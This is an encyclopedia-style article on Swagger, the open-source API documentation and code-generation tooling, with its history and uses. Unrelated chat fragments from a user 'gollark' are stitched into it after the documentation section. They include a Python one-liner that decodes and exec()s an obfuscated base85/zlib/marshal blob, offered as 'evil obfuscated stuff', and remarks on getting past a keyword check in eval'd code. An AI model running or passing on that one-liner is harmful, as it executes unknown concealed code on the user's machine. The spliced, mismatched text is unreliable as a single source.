Swagger (software)

Swagger is an open-source software set of tools to design, build, document, and use RESTful web services, developed by SmartBear Software. It includes automated documentation, code generation, and test-case generation.

Swagger
Developer(s)SmartBear Software
Initial release2011 (2011)
LicenseApache License 2.0
Websiteswagger.io

History

The Swagger API project was created in 2011 by Tony Tam,[1] technical co-founder of the dictionary site Wordnik. During the development of Wordnik's products, the need for automation of API documentation and client SDK generation became a major source of frustration. Tam designed a simple JSON representation of the API, building upon the flexibility of the REST style of architecture and using many features of tooling built for the SOAP protocol. The concept for the user interface was proposed by Ayush Gupta, who suggested that an interactive user interface would benefit end users who wished to "try out" and develop against the API. Ramesh Pidikiti led implementation of the initial code generator and designer/developer Zeke Sikilianos coined the name Swagger. The Swagger API project was made open source in September 2011. Soon after release, a number of new components were added to the project, including a stand-alone validator, support for Node.js, and Ruby on Rails.

In Swagger's early years, modest traction came from small companies and independent developers. RESTful APIs typically did not have a machine-readable description mechanism, and Swagger provided a simple and discoverable way to do so. Tam was invited to a meeting with some of the API industry's thought leaders including John Musser (ProgrammableWeb), Marsh Gardiner (Apigee, now a Google product), Marco Palladino (Kong), and Kin Lane (API Evangelist) to discuss a standardization effort around API descriptions. While the meeting did not yield a concrete plan to do so, it put Swagger on the map as a critical innovation in the API space.

Helped by the use of the Apache 2.0 open-source license, a number of products and online services began including Swagger in their offerings, which accelerated quickly after adoption by Apigee, Intuit, Microsoft, IBM and others who began to publicly endorse the Swagger project.

Shortly after Swagger was created, alternative structures for describing RESTful APIs were introduced, the most popular being API Blueprint in April 2013 and RAML in September 2013. While these competing products had stronger financial backing than Swagger, they initially focused on different use cases from Swagger, and as of mid-2014, Swagger interest was growing more quickly than the combination of the two others [source: Google Trends].

In November 2015, SmartBear Software, the company that maintained Swagger, announced that it was helping create a new organization, under the sponsorship of the Linux Foundation, called the OpenAPI Initiative. A variety of companies, including Google, IBM, and Microsoft are founding members.[2]

On 1 January 2016, the Swagger specification was renamed to OpenAPI Specification, and was moved to a new software repository on Github.[3] While the specification itself was not changed, this renaming signified the split between the API description format and the open-source tooling.

As of July 2017, Swagger tools were downloaded over 100,000 times per day, according to hosting repositories Sonatype and npm.

Usage

Swagger's open-source tooling usage can be broken up into different use cases: development, interaction with APIs, and documentation.

Developing APIs

When creating APIs, Swagger tooling may be used to automatically generate an Open API document based on the code itself. This embeds the API description in the source code of a project and is informally called code-first or bottom-up API development.

Alternatively, using Swagger Codegen, developers can decouple the source code from the Open API document, and generate client and server code directly from the design. This makes it possible to defer the coding aspect.

Interacting with APIs

Using the Swagger Codegen project, end users generate client SDKs directly from the OpenAPI document, reducing the need for human-generated client code. As of August 2017, the Swagger Codegen project supported over 50 different languages and formats for client SDK generation.

Documenting APIs

When described by an OpenAPI document, Swagger open-source tooling may be used to interact directly with the API through the Swagger UI. This project allows connections directly to live APIs through an interactive, HTML-based user interface. Requests can be made directly from the UI and the options explored by the user of the interface.

gollark: ```bashpython3 -c 'import zlib,base64,marshal;exec(marshal.loads(zlib.decompress(base64.b85decode("c$`&HO>fjN5Vf6T<8He>aG;1&kT|f1#w`d@P*owS!ilOBAu3-gZ#;Cf<O|zrx6u|ME%*L~?UBEff52bhgq>1pN#r-<=W*VfNrILh->%no=^qv(k~l*gcad<?MUQ(nlFZKo9$+Lr>HkE$2cZn+7$fM(o($*2W}&1V6Udc0<`lfi%AybS25Sl4V%23`z2)TU2I}s3i#56Cc!@uv;o!IPbU4IqAEuQkWUWCZWXWsau6^fs&w@b{ydX1lgRh@l5#!CU#B*|e@5(d&BAAhxcVjg^+rB=aV|22VNo3W?VM{JX!(Q8~RhFeA9xC`&gEl<0L|H-6`W^Q4xHf6VSCg{3{E}u+jwVB&d$y|e-JVkgx+)88v$8g)j{AjFXg&U+yV|I<INNKfEH8?z6msAiaNQvCkf;?KoBIb-NUTV479FWF0a+`Ep2yAB*qBPcVhr+n8Yc-m2c=W1#CCQ@;w8KgY=8eCuTM6U#KaS!ngKI;#p1i|<D;?A5N$_EnO7MYh@&@fmKH@P)tx<!o9H`>voaAG(_^84C5h8x?oMq$v90FOosmjt1EaKv?IBa*f*rr#e)j3zThUOajZmhpnvID#7tyBGkN$Hr9PstqS;zlItvuVk3M{mw)I2P8TnRH)*wJn>ZBW_i8BV1z;#8)p^<6>RgK4UbZfP#Qf~B?nOPAJJ-c5Z8sQU=r%}ZHlu;=9T0}GV6cg?4ilKyRO<2v~ZrTEvz"))))'```
gollark: I have some evil obfuscated stuff you could try.
gollark: Maybe he just hamfistedly added a check for the literal text `self` and `token`.
gollark: Hmmm, unexpeqted
gollark: It is not passed the `self` argument and I don't think closure works with `eval`ed code.

See also

References

This article is issued from Wikipedia. The text is licensed under Creative Commons - Attribution - Sharealike. Additional terms may apply for the media files.